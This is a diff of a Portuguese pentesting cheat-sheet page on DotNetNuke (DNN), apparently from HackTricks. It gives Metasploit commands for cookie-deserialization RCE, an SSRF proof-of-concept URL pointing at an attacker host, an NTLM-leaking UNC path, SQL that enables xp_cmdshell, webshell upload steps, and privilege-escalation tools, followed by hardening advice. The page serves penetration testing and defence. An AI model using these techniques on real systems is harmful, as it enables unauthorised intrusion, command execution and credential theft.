diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index 24148cd17..699daf08c 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -4,37 +4,92 @@ ## DotNetNuke (DNN) -Se você entrar como **administrador** no DNN, é fácil obter RCE. +Se você entrar como **administrador** no DNN, é fácil obter **RCE**, no entanto, várias técnicas *não autenticadas* e *pós-autenticação* foram publicadas nos últimos anos. Este cheat-sheet coleta os primitivas mais úteis para trabalhos ofensivos e defensivos. -## RCE +--- +## Enumeração de Versão e Ambiente -### Via SQL +* Verifique o cabeçalho de resposta HTTP *X-DNN* – geralmente revela a versão exata da plataforma. +* O assistente de instalação vaza a versão em `/Install/Install.aspx?mode=install` (acessível em instalações muito antigas). +* `/API/PersonaBar/GetStatus` (9.x) retorna um blob JSON contendo `"dnnVersion"` para usuários de baixo privilégio. +* Cookies típicos que você verá em uma instância ao vivo: +* `.DOTNETNUKE` – ticket de autenticação de formulários ASP.NET. +* `DNNPersonalization` – contém dados de perfil de usuário em XML/serializados (versões antigas – veja RCE abaixo). -Um console SQL é acessível na página **`Settings`** onde você pode habilitar **`xp_cmdshell`** e **executar comandos do sistema operacional**. +--- +## Exploração Não Autenticada -Use estas linhas para habilitar **`xp_cmdshell`**: -```sql -EXEC sp_configure 'show advanced options', '1' -RECONFIGURE -EXEC sp_configure 'xp_cmdshell', '1' -RECONFIGURE +### 1. RCE de Desserialização de Cookie (CVE-2017-9822 e seguimentos) +*Versões afetadas ≤ 9.3.0-RC* + +`DNNPersonalization` é desserializado em cada solicitação quando o manipulador 404 embutido está habilitado. XML elaborado pode, portanto, levar a cadeias de gadgets arbitrárias e execução de código. ``` -E pressione **"Run Script"** para executar essas sentenças SQL. - -Em seguida, use algo como o seguinte para executar comandos do OS: -```sql -xp_cmdshell 'whoami' +msf> use exploit/windows/http/dnn_cookie_deserialization_rce +msf> set RHOSTS +msf> set LHOST +msf> run ``` -### Via ASP webshell +O módulo escolhe automaticamente o caminho certo para versões corrigidas, mas ainda vulneráveis (CVE-2018-15811/15812/18325/18326). A exploração funciona **sem autenticação** em 7.x–9.1.x e com uma conta de *baixo privilégio* *verificada* em 9.2.x+. -Em `Settings -> Security -> More -> More Security Settings` você pode **adicionar novas extensões permitidas** em `Allowable File Extensions`, e então clicar no botão `Save`. +### 2. Server-Side Request Forgery (CVE-2025-32372) +*Versões afetadas < 9.13.8 – Patch lançado em abril de 2025* -Adicione **`asp`** ou **`aspx`** e então em **`/admin/file-management`** faça o upload de um **asp webshell** chamado `shell.asp`, por exemplo. +Um bypass da correção mais antiga do `DnnImageHandler` permite que um atacante force o servidor a emitir **requisições GET arbitrárias** (SSRF semi-cega). Impactos práticos: -Então acesse **`/Portals/0/shell.asp`** para acessar seu webshell. +* Escaneamento de portas internas / descoberta de serviços de metadados em implantações na nuvem. +* Acessar hosts que, de outra forma, estariam protegidos por firewall da Internet. -### Privilege Escalation +Prova de conceito (substitua `TARGET` & `ATTACKER`): +``` +https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc +``` +A solicitação é acionada em segundo plano; monitore seu listener para callbacks. -Você pode **escalar privilégios** usando o **Potatoes** ou **PrintSpoofer**, por exemplo. +### 3. Exposição de Hash NTLM via Redirecionamento UNC (CVE-2025-52488) +*Versões afetadas 6.0.0 – 9.x (< 10.0.1)* +Conteúdo especialmente elaborado pode fazer com que o DNN tente buscar um recurso usando um **caminho UNC** como `\\attacker\share\img.png`. O Windows realizará a negociação NTLM, vazando os hashes da conta do servidor para o atacante. Atualize para **10.0.1** ou desative o SMB de saída no firewall. + +### 4. Bypass de Filtro de IP (CVE-2025-52487) +Se os administradores confiarem em *Filtros de Host/IP* para proteção do portal de administração, esteja ciente de que versões anteriores a **10.0.1** podem ser contornadas manipulando `X-Forwarded-For` em um cenário de proxy reverso. + +--- +## Pós-Autenticação para RCE + +### Via console SQL +Sob **`Configurações → SQL`** uma janela de consulta embutida permite a execução contra o banco de dados do site. No Microsoft SQL Server, você pode habilitar **`xp_cmdshell`** e gerar comandos: +```sql +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +EXEC sp_configure 'xp_cmdshell', 1; +RECONFIGURE; +GO +xp_cmdshell 'whoami'; +``` +### Via upload de webshell ASPX +1. Vá para **`Settings → Security → More → More Security Settings`**. +2. Adicione `aspx` (ou `asp`) a **Allowable File Extensions** e **Save**. +3. Navegue até **`/admin/file-management`** e faça o upload de `shell.aspx`. +4. Acione-o em **`/Portals/0/shell.aspx`**. + +--- +## Escalação de Privilégios no Windows +Uma vez que a execução de código é alcançada como **IIS AppPool\**, técnicas comuns de escalonamento de privilégios do Windows se aplicam. Se a máquina for vulnerável, você pode aproveitar: + +* **PrintSpoofer** / **SpoolFool** para abusar do *SeImpersonatePrivilege*. +* **Juicy/Sharp Potatoes** para escapar de *Service Accounts*. + +--- +## Recomendações de Fortalecimento (Blue Team) + +* **Upgrade** para pelo menos **9.13.9** (corrige bypass de SSRF) ou preferencialmente **10.0.1** (problemas de filtro de IP e NTLM). +* Remova arquivos residuais **`InstallWizard.aspx*`** após a instalação. +* Desative a saída SMB (portas 445/139). +* Aplique filtros de *Host* fortes no proxy de borda em vez de dentro do DNN. +* Bloqueie o acesso a `/API/RemoteContentProxy` se não estiver em uso. + +## Referências + +* Documentação do módulo Metasploit `dnn_cookie_deserialization_rce` – detalhes práticos de RCE não autenticada (GitHub). +* Aviso de Segurança do GitHub GHSA-3f7v-qx94-666m – informações sobre bypass de SSRF de 2025 e patch. {{#include ../../banners/hacktricks-training.md}}